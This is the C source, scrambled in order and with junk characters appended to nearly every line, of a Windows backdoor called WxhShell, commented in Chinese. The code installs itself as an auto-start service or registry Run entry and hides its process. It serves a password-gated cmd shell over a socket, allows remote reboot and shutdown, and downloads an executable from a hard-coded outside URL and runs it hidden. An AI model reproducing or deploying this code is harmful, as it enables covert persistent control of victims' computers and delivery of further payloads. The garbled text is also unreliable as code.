    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  kAe-d  
    else { 9rvxp;  
    closesocket(wsh); tRrY)eElS  
    ExitThread(0); : QhEu%e  
    } S|5lx7  
    break; s R0e&Y  
    } w]P7!t  
  // 获取shell `b'|FKc]  
  case 's': { BNKo6:wy  
    CmdShell(wsh); ,+5VeRyrV  
    closesocket(wsh); VA&OI;=ri  
    ExitThread(0); =D"63fP1  
    break; r :MaAT<  
  } ?}>Z_ ("  
  // 退出 ?0)XS<  
  case 'x': { ~9>[U%D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y2ws*IZ"  
    CloseIt(wsh); FSZoT!  
    break; hm} :Me$[)  
    } 2BU)qv-  
  // 离开 ]TZWFL-  
  case 'q': { R (Pa Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ru\Lr=9  
    closesocket(wsh); \f Fy$  
    WSACleanup(); N(/<qv  
    exit(1); )/i|"`)>_  
    break; `g:^KCGMM  
        } dcTM02kEh  
  } oHFDg?Z`  
  } ?)QBJ9F  
d`][1rZk  
  // 提示信息 |l\/ {F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7a_n\]t465  
} 3&Zx*:  
  } F3|pS:  
t }C ^E  
  return; (GOrfr  
} I=Dk'M  
Hh=::Bi  
// shell模块句柄 2o}G<7r  
int CmdShell(SOCKET sock) gJ~*rWBK:  
{ { RX|  
STARTUPINFO si; Bo(l!G  
ZeroMemory(&si,sizeof(si)); 3Ty{8oUs^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Zy=vk*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m)2hl~o_  
PROCESS_INFORMATION ProcessInfo; Dk6\p~q  
char cmdline[]="cmd"; CKw)J}z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `%I{l  
  return 0; 84\o7@$#  
} #IA(*oM  
#{cpG2Rs  
// 自身启动模式 ri V/wN9C  
int StartFromService(void) U>jk`?zW  
{ *fX)=?h56  
typedef struct < l ^ Z;.  
{ = +\oL!^  
  DWORD ExitStatus; A0sW 9P6F  
  DWORD PebBaseAddress; CrQ& -!Eh  
  DWORD AffinityMask; ADUI@#vk  
  DWORD BasePriority; Nn\\}R  
  ULONG UniqueProcessId;  Q'M Ez  
  ULONG InheritedFromUniqueProcessId; @(?d0xCg  
}   PROCESS_BASIC_INFORMATION; 1k({(\>qq  
  `.-C6!  
PROCNTQSIP NtQueryInformationProcess; IKp x~  
ts$UC $  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _( Cp   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ->{WO+6(  
CU&,Kq@  
  HANDLE             hProcess; "7/YhLq7  
  PROCESS_BASIC_INFORMATION pbi; +:Zi(SuS]  
^: j:;\;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TC}u[kM  
  if(NULL == hInst ) return 0; Ro$XbU)  
8RD)yRJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #<3\}*/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4 l(o{{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Ou)F;r  
,FO|'l  
  if (!NtQueryInformationProcess) return 0; J z b".A  
c:TP7"vG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aoX$,~oI5  
  if(!hProcess) return 0; C"WZsF^3  
yp/*@8%_E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J6P Tkm}^  
(7 iMIY  
  CloseHandle(hProcess); WRM}gWv*  
?^p8]Va%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X9wi:  
if(hProcess==NULL) return 0; x N)Ck76  
N"y4#W(Z@  
HMODULE hMod; sJ=B:3jS0  
char procName[255]; fOAb?:D  
unsigned long cbNeeded; v2R:=d ')>  
&9tsk#bA.g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WH*&MIjAr/  
}X-ggO,  
  CloseHandle(hProcess); #u^d3 $Nj  
zZ-*/THB@R  
if(strstr(procName,"services")) return 1; // 以服务启动 *uR'eXW  
gX<C-y6o  
  return 0; // 注册表启动 O*7 pg  
} g.Q ?Z{  
ww,'n{_  
// 主模块 M-hnBt  
int StartWxhshell(LPSTR lpCmdLine) XlPy(>  
{ H#K|SSqY?  
  SOCKET wsl; }$jIvb,3?  
BOOL val=TRUE; `N+ P ,  
  int port=0; Lq.k?!D3uh  
  struct sockaddr_in door; yFjSvm6  
Y!zlte|P  
  if(wscfg.ws_autoins) Install(); \&fK8H1  
'"Gi&:*nQ<  
port=atoi(lpCmdLine); |>)mYLN!y  
X@rAe37h+  
if(port<=0) port=wscfg.ws_port; {1[8,Ho  
lx SGvvP4  
  WSADATA data; e!#:h4I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `fXcW)  
kmwFw>#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   90a= 39kI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %?ad.F+7  
  door.sin_family = AF_INET; [/FIY!nC?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }tN"C 3)@  
  door.sin_port = htons(port); Ex<0@Oz  
~9=g"v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x\WKsc  
closesocket(wsl); 38 F8(QU{  
return 1; 8I%1 `V  
} ;IyQqP#,<  
_F3:j9^  
  if(listen(wsl,2) == INVALID_SOCKET) { 7y!{lr=n  
closesocket(wsl); :v#3;('7  
return 1; ^+88z>  
} e([}dz  
  Wxhshell(wsl); ~_Aclm?  
  WSACleanup(); UWz<~Vy  
;TYkJH"  
return 0; &12.|  
dXZV1e1b&#  
} ?o2L  
Lq:Z='Kc  
// 以NT服务方式启动 ?(Nls.c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s<:J(gD  
{ =Z2sQQVS  
DWORD   status = 0; ne%ckW?ks  
  DWORD   specificError = 0xfffffff; U.&=b<f(0r  
d:3G4g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8d-_'MXk3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c}QjKJ-c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  V}&  
  serviceStatus.dwWin32ExitCode     = 0; YkTEAI|i  
  serviceStatus.dwServiceSpecificExitCode = 0; I_Q'+d  
  serviceStatus.dwCheckPoint       = 0; 6u7>S?  
  serviceStatus.dwWaitHint       = 0; YQ&Xd/z-  
>k"/:g^t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dLLF#N  
  if (hServiceStatusHandle==0) return; f5AK@]4G  
e(cctC|l  
status = GetLastError(); Lf3:' n  
  if (status!=NO_ERROR) ~Os~pTo  
{ P'[w9'B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ? r^+-  
    serviceStatus.dwCheckPoint       = 0; _rOKif?5  
    serviceStatus.dwWaitHint       = 0; d+$a5 [^9  
    serviceStatus.dwWin32ExitCode     = status; RV-7y^[]^  
    serviceStatus.dwServiceSpecificExitCode = specificError; fDf:Jec`[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~nw]q<7r  
    return; ,u/GA<'#M  
  } in$Pk$ c  
C,.$g>)MZK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y6f0 ?lB  
  serviceStatus.dwCheckPoint       = 0; r/SV.` k  
  serviceStatus.dwWaitHint       = 0; sJ,:[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L]cZPfI6  
} 49cQA$Ad  
qlO(z5Ak  
// 处理NT服务事件,比如:启动、停止 k1W q$KCwG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l:%4@t`  
{ F|9 W7  
switch(fdwControl) Gz@'W%6yaV  
{ wpO-cJ!,  
case SERVICE_CONTROL_STOP: ;CD@RP{$n  
  serviceStatus.dwWin32ExitCode = 0; ZBi|B D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y;G+jC8   
  serviceStatus.dwCheckPoint   = 0; Nw* >$v  
  serviceStatus.dwWaitHint     = 0; s${ew.eW  
  { Cwl#(; @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <J!#k@LY]7  
  } {dTtYL$'"  
  return; @|sDb?J  
case SERVICE_CONTROL_PAUSE: [kaj8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r$<[`L+6  
  break; 1 :<f[l  
case SERVICE_CONTROL_CONTINUE: 8SR~{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _gxI=EYi  
  break; g4^=Q'j-  
case SERVICE_CONTROL_INTERROGATE: 4*&_h g)h  
  break; '#L.w6<B  
}; \L Gj]mb1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V*U{q%p(  
} Ey4%N`H-^  
bVaydJ*  
// 标准应用程序主函数 x8|sdZFxo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `KgIr,Q)  
{ HG{r\jh  
W{B)c?G]  
// 获取操作系统版本 ~ (I'm[  
OsIsNt=GetOsVer(); 2|8e7q:+*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hx5t![g2K!  
ckG`^<  
  // 从命令行安装 9)}Nx>K  
  if(strpbrk(lpCmdLine,"iI")) Install(); vau0Jn%=ck  
z)*7LI  
  // 下载执行文件 >VIb|YA  
if(wscfg.ws_downexe) { XR3=Y0YDf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kqdF)Wa am  
  WinExec(wscfg.ws_filenam,SW_HIDE); kwF4I )6  
} 1 w*DU9f  
U51C /A  
if(!OsIsNt) { Q4i@y6z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;w--fqxVl  
HideProc(); Pv,Q*gh`  
StartWxhshell(lpCmdLine); LX5, _`B  
} ~?`V$G=?,  
else FtHR.S= u  
  if(StartFromService()) f}qR'ognUu  
  // 以服务方式启动 g?-HAk6  
  StartServiceCtrlDispatcher(DispatchTable); S&N[@G  
else VjsQy>5m  
  // 普通方式启动 U (*k:Fw  
  StartWxhshell(lpCmdLine); |:Q`9;  
<O+T4.z  
return 0;  #4?Z|_j3  
} w%Vw*i6o  
A"ApWJ3  
&b~if}vcb  
x"7`,W  
=========================================== JWzN 'a R  
] /w: 5o#  
w=Cq v~  
`q":i>FP2  
C5k\RS9  
1VRe xp  
" />FgDIO  
*?dw`j_b >  
#include <stdio.h> :s(vn Ie^  
#include <string.h> 1FC' iGI  
#include <windows.h> 1j4(/A  
#include <winsock2.h> 1T96W :   
#include <winsvc.h> ~m@v ~=  
#include <urlmon.h> dB`3"aSN7  
=\uQGH  
#pragma comment (lib, "Ws2_32.lib") Wg\`!T  
#pragma comment (lib, "urlmon.lib") &\[3m^L  
=XbOY[  
#define MAX_USER   100 // 最大客户端连接数 PH$fDbC8  
#define BUF_SOCK   200 // sock buffer YI0ubB  
#define KEY_BUFF   255 // 输入 buffer "lU%Pm]>  
9'tOF  
#define REBOOT     0   // 重启 =gG_ %]``R  
#define SHUTDOWN   1   // 关机 ;G 27S<Q  
3JnBKh\n  
#define DEF_PORT   5000 // 监听端口 Dj0`#~  
%#g9d  
#define REG_LEN     16   // 注册表键长度 t>]wWYy  
#define SVC_LEN     80   // NT服务名长度 ~_|OGp_a  
.@7J8FS*  
// 从dll定义API ZMFV iE;8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D H}gvV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D`|.%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f/!^QL{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~D[5AXV`^  
? dD<KCbP,  
// wxhshell配置信息 5yC$G{yV  
struct WSCFG { HZ>8@AVa\  
  int ws_port;         // 监听端口 WrzyBG_  
  char ws_passstr[REG_LEN]; // 口令 i]sz*\P~  
  int ws_autoins;       // 安装标记, 1=yes 0=no =[X..<bW9:  
  char ws_regname[REG_LEN]; // 注册表键名 Yr7%C  
  char ws_svcname[REG_LEN]; // 服务名 MGoYL \  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E Ux kYl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4O~E4" ]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )}{V#,xz@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aVI%FycYo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eJh4hp;x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _4H}OGZI  
<X5'uve  
};  3)5Gzn  
6L`{oSX!  
// default Wxhshell configuration Q $wa<`  
struct WSCFG wscfg={DEF_PORT, _!m_s5{  
    "xuhuanlingzhe", N9lCbtn(0x  
    1, j9sK P]w  
    "Wxhshell", ?hW?w$C  
    "Wxhshell", 7hQf T76h  
            "WxhShell Service", f(Hh(  
    "Wrsky Windows CmdShell Service", Lbo8> L(  
    "Please Input Your Password: ", G|WO  
  1, .'+*>y!  
  "http://www.wrsky.com/wxhshell.exe", @I`X{oAA  
  "Wxhshell.exe" +@ '( N  
    }; _'g'M=E  
g\Gx oR  
// 消息定义模块 w>RBth^p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a-P 'h1hbH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "Zu hN(-`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v&.`^ O3W  
char *msg_ws_ext="\n\rExit."; >O7ITy  
char *msg_ws_end="\n\rQuit."; IYJS>G%*  
char *msg_ws_boot="\n\rReboot..."; 0)c9X[sG  
char *msg_ws_poff="\n\rShutdown..."; %&D,|Yl6  
char *msg_ws_down="\n\rSave to "; Cpyv@+;D  
hJ)>BeH0  
char *msg_ws_err="\n\rErr!"; HLjXH#ry  
char *msg_ws_ok="\n\rOK!"; W6kDQ& q  
#Kr\"o1]  
char ExeFile[MAX_PATH]; :j sa.X  
int nUser = 0; F4=+xd >0  
HANDLE handles[MAX_USER]; ~S5wfx&  
int OsIsNt; `vkNp8|  
aFZu5-=x  
SERVICE_STATUS       serviceStatus; v^Vr^!3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XET'XJWF%  
 8(.DI/  
// 函数声明 ;=&D_jGf]  
int Install(void); TB=KT j  
int Uninstall(void); T?p' R  
int DownloadFile(char *sURL, SOCKET wsh); "K.XoG4|  
int Boot(int flag); N k~Xz  
void HideProc(void); $Vu %4kq  
int GetOsVer(void); ]e*Zx;6oi  
int Wxhshell(SOCKET wsl); 81O\BO.T  
void TalkWithClient(void *cs); u!&w"t61Nd  
int CmdShell(SOCKET sock); [# X:!xcl  
int StartFromService(void); ,&wTUS\  
int StartWxhshell(LPSTR lpCmdLine); D][e uB  
%SWtE5HZQq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [31vx0$_p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^qs{Cf$  
.d\<}\zZ7J  
// 数据结构和表定义 OokBi 02b  
SERVICE_TABLE_ENTRY DispatchTable[] = 6]GEn=t  
{ ^H0`UKE  
{wscfg.ws_svcname, NTServiceMain}, fB \+.eN  
{NULL, NULL} AnB]f~Yjl  
}; Qv3g 4iJ  
R.(cGZS  
// 自我安装 ^ X&`:f  
int Install(void) bzz{ p1e  
{ XIv{jzgF  
  char svExeFile[MAX_PATH]; 8[\(*E}d!X  
  HKEY key; +6vm4(3?  
  strcpy(svExeFile,ExeFile); R~-r8dWcw  
G$ l>By  
// 如果是win9x系统,修改注册表设为自启动 97H2hYw9l  
if(!OsIsNt) { S9sFC!s1g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <{C oM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4|+6a6  
  RegCloseKey(key); 8aCa(Xu(H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d2w;d&2S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I,{9vew  
  RegCloseKey(key); Ji7%=_@'-#  
  return 0; Hv>C#U  
    } /rd6p{F  
  } 5a9PM(  
} z3IQPl^  
else { =1o_:VOG  
#]G$o?@Y=^  
// 如果是NT以上系统,安装为系统服务 =bUVGjr%96  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1>W|vOv"Z?  
if (schSCManager!=0) y8U|A0@$`  
{ V Iof4?i  
  SC_HANDLE schService = CreateService YaTJKgi"0  
  ( )j6VROt  
  schSCManager, A"S{W^iL  
  wscfg.ws_svcname, uS3 s  
  wscfg.ws_svcdisp, ?i*kwEj=  
  SERVICE_ALL_ACCESS, 6:i(<7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^s25z=^t  
  SERVICE_AUTO_START, /}?"O~5M"  
  SERVICE_ERROR_NORMAL, #!\g5 ')mC  
  svExeFile, "Vp+e%cqG  
  NULL, IfoeHAWX  
  NULL, `B;^:u  
  NULL, n!mtMPH$  
  NULL, hV_eb6aj}P  
  NULL #RK?3?wcr  
  ); T78`~-D4<  
  if (schService!=0) 8D eRs#  
  { CuPZ0  
  CloseServiceHandle(schService); tk4~ 8  
  CloseServiceHandle(schSCManager); [3++Q-rR=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B8z3W9  
  strcat(svExeFile,wscfg.ws_svcname); X b-q:{r1h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zN JK+_O=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); siw } }}  
  RegCloseKey(key); kpi)uGvGUA  
  return 0; |cL'4I>b9  
    } $O,$KAC  
  } )r-t$ L  
  CloseServiceHandle(schSCManager); jdV  E/5  
} dK,j|  
} &AH@|$!E  
L%9DaK  
return 1; UOH2I+@V  
} y/rmxQtP  
TTpK8cC  
// 自我卸载 O=8:K'  
int Uninstall(void) FR _R"p  
{ P4"_qxAW  
  HKEY key; `s(T (l  
vK)^;T ;  
if(!OsIsNt) { fdGls`H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (1gfb*L  
  RegDeleteValue(key,wscfg.ws_regname); cf?*6q?n  
  RegCloseKey(key); l'HrU 1_7Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v|`f8M2  
  RegDeleteValue(key,wscfg.ws_regname); 74ma   
  RegCloseKey(key); o:jLM7$=  
  return 0; F)g.CDQ!c  
  } Se+sgw_"  
} poj@ G{  
} f.cIhZF  
else { XZhuV<  
Z?|\0GR+`5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2V7x  
if (schSCManager!=0) >Du5B&41  
{ o%X@Bz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VU`aH9g3(  
  if (schService!=0) o,(MB[|hQ  
  { 8xzEbRNJ)  
  if(DeleteService(schService)!=0) { xTNWT_d  
  CloseServiceHandle(schService); Z5[TmVU  
  CloseServiceHandle(schSCManager); A$.woE@  
  return 0; l/0TNOA  
  } ,\ zp&P"p  
  CloseServiceHandle(schService); /M(FuV  
  } nAv@^G2  
  CloseServiceHandle(schSCManager); lx,^Y 647  
} 6[>UF!.=  
} '|Dm\cy  
bSsX)wHm  
return 1; VE1 B"s</  
} 'p,QI>  
F }l_=  
// 从指定url下载文件 Rdao  
int DownloadFile(char *sURL, SOCKET wsh) tep_g4CQR_  
{  Ub(zwR;  
  HRESULT hr; 8 &:  *<  
char seps[]= "/"; Ag QR"Nu6  
char *token; $$`E@\5P  
char *file; !~PLW]Z4  
char myURL[MAX_PATH]; 6O2 r5F$T  
char myFILE[MAX_PATH]; IBm&a^  
|9. `qv  
strcpy(myURL,sURL); _D7MJT  
  token=strtok(myURL,seps); Zo  
  while(token!=NULL) lSU&Yqx  
  { k @'85A`  
    file=token; 0Pw?@uV  
  token=strtok(NULL,seps); LQ pUyqR  
  } mwLp~z%OX  
#"% ]1={b  
GetCurrentDirectory(MAX_PATH,myFILE); YO o?.[}@  
strcat(myFILE, "\\"); A; Rr#q<  
strcat(myFILE, file); [X[d`@rXv  
  send(wsh,myFILE,strlen(myFILE),0); xb$eFiQ  
send(wsh,"...",3,0); NFTEp0eP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K| #%u2C  
  if(hr==S_OK) vy\;#X!  
return 0; i_T8Bfd:  
else fwB+f` w`  
return 1; sxcpWSGA^  
Z=`\U?,  
} 44_7gOZ  
H@Dj$U  
// 系统电源模块 _uU}J5d.  
int Boot(int flag) X?5M)MP+I  
{ TGx:#x*k  
  HANDLE hToken; ZVu&q{s,  
  TOKEN_PRIVILEGES tkp; Xao 0cb.R  
Zn&S7a>7  
  if(OsIsNt) { }|>mR];  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z'iXuI49  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c%Ht; sK`*  
    tkp.PrivilegeCount = 1; xe5|pBT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; > E;`;b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); to@ O  
if(flag==REBOOT) { A\J|eSG'$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6u^M fOc  
  return 0; F/;uN5{o  
} VE{[52  
else { ]F kLtq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .zf#S0y%(  
  return 0; d7Lna^  
} 7A@GN A  
  } _hlLM,p  
  else { H SEfpbh  
if(flag==REBOOT) { td{M%D,R"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9fR`un)f}  
  return 0; N3 qtq9{  
} Ig*68M<  
else { Om`VQ?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nb/W+& y  
  return 0; W ]cJP  
} 9 A0wiKp  
} :^".cs?g  
0 =#)-n  
return 1; $w{!}U2+-  
} & yFS  
RB7?T5G  
// win9x进程隐藏模块 nRq @hk  
void HideProc(void) 3dm lP2  
{ T0Lh"_X3  
.9X,)^D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PMPB}-d  
  if ( hKernel != NULL ) f?)BAah  
  { d $~q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xW92 ZuzSH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wxw3t@%mNm  
    FreeLibrary(hKernel); ~"-+BG(5  
  } Fljqh8c5  
w6ZyMR,T  
return; .|=~x3mPw  
} D|`O8o?)  
(80 Tbi~+  
// 获取操作系统版本 (6##\}L&9  
int GetOsVer(void)   -58  
{ %-C   
  OSVERSIONINFO winfo; [k)xn3[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aH6{_eY  
  GetVersionEx(&winfo); $#q:\yQsPC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y U"pU>fV@  
  return 1; ry bs9:_}  
  else o/ Z  
  return 0; 'n1-?T)  
} C(o]3):?  
QU0FeGtz  
// 客户端句柄模块 p9c`rl_N  
int Wxhshell(SOCKET wsl) ID+ o6/V8  
{ r3.A!*!  
  SOCKET wsh; M[aF3bbN  
  struct sockaddr_in client; 1eiV[z$?  
  DWORD myID; 3{wr*L1%-~  
ySC;;k'  
  while(nUser<MAX_USER) )tc"4lp -  
{ Gwl]sMJ  
  int nSize=sizeof(client); /F#_~9JXG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h>jLhj<07W  
  if(wsh==INVALID_SOCKET) return 1; wNzALfS  
tu.Tvtudzj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p'# (^  
if(handles[nUser]==0) rl#[HbPM  
  closesocket(wsh); 3=r#=u5z  
else 4dv5  
  nUser++; ){ywk  
  } $nX4!X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $F> #1:=v<  
_ ," -25a  
  return 0; cE}y~2cH  
} ]xJ5}/  
hEG-,   
// 关闭 socket ?9jl8r>  
void CloseIt(SOCKET wsh) `$V7AqX(  
{ V4c$V]7  
closesocket(wsh); cRt[{ HE  
nUser--; )"Ef* /+  
ExitThread(0); kJ^)7_3  
} mM*jdm(!  
cT8b$P5w  
// 客户端请求句柄 R4xoc;b  
void TalkWithClient(void *cs) -Fi{[%&u  
{ r3~~4Q4XI>  
#9HQW:On  
  SOCKET wsh=(SOCKET)cs; s06tCwPp  
  char pwd[SVC_LEN]; 3_%lN4sz  
  char cmd[KEY_BUFF]; GtYtB2U  
char chr[1]; AGxtmBB;  
int i,j; Y\CR*om!W  
_,S L;*G4|  
  while (nUser < MAX_USER) { T(< [k:`  
8#NI`s*  
if(wscfg.ws_passstr) { qx#k()E.U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oH;0_!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ;'^5$q  
  //ZeroMemory(pwd,KEY_BUFF); CYIp 3D'k  
      i=0; 1_chO?&,I  
  while(i<SVC_LEN) { ;QMRm<CLV  
[A@K)A$f  
  // 设置超时 b{:c0z<  
  fd_set FdRead; ^F5Q(A  
  struct timeval TimeOut; sIx8,3`&y  
  FD_ZERO(&FdRead); .=y-T=}  
  FD_SET(wsh,&FdRead); iw`,\V&  
  TimeOut.tv_sec=8; desrKnY  
  TimeOut.tv_usec=0; (X!?#)fyn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *-KgU'u?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O' 5xPJ  
>U.)?>G/dt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9XU"Ppv  
  pwd=chr[0]; u9 LP=g  
  if(chr[0]==0xd || chr[0]==0xa) { v0~'`*|&  
  pwd=0; zn5U(>=c  
  break; wHGiN9A+  
  } Y}G9(Ci&  
  i++; Equj[yw%@  
    } NGA8JV/U  
Eb9 eEa<W  
  // 如果是非法用户,关闭 socket ^h q?E2-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _?9|0>]xG  
} O$'BJKj-4  
SGuR-$U`)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^qn,b/>L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $:{r#mM  
IK:F~I  
while(1) { jgcI|?yL  
=dVPx<l5  
  ZeroMemory(cmd,KEY_BUFF); PS" ,  
\I! C`@0  
      // 自动支持客户端 telnet标准   5PaOa8=2f  
  j=0; Z *9Qeu-N:  
  while(j<KEY_BUFF) { )<]*!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }8H_^G8  
  cmd[j]=chr[0]; <ptskbu  
  if(chr[0]==0xa || chr[0]==0xd) { P;A9t#\  
  cmd[j]=0; 3Kv~lo^  
  break; ~OuKewr\  
  } G5C=p:o{/  
  j++; 17-D\ +}  
    } v)^8e0vx  
{8!\aYI  
  // 下载文件  j-H2h  
  if(strstr(cmd,"http://")) { MLu@|Xgh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Op|="W.  
  if(DownloadFile(cmd,wsh)) hKG)* Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yy,i,c`r  
  else gpIq4Q<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^)qOILn  
  } <BUKTRq  
  else { ?+Q?K30:  
hI+mx  
    switch(cmd[0]) { K\bA[5+N  
